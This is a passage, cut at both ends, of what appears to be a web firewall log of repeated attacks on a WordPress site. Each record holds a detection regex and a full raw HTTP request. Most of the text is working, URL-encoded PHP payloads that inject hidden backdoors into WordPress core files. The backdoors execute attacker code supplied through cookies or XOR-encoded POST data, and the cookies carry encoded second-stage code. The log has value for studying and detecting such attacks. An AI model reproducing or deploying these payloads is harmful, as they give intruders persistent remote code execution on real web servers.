w_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:4351\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:48:39","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3841\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nGw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:48:48","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3841\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nfh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:48:56","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%2521is_writable%2528%2524reference%2529%2520%2529%2529%2520%257B%2520%2524factor%2520%253D%2520%2522%2524reference\/.component%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524factor%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3841\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nvO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/lib\/ristretto255.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524itm%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6E%255Cx74ity%2522%255D%2529%253B%2520%2524symbol%2520%253D%2520%2527%2527%253Bfor%2528%2524y%253D0%253B%2520%2524y%253Cstrlen%2528%2524itm%2529%253B%2520%2524y%252B%252B%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524itm%255B%2524y%255D%2529%2520%255E%252068%2529%253B%257D%2520%2524object%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524object%2520as%2520%2524key%2520%253D%253E%2520%2524reference%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524reference%2529%2520%257C%257C%2520%252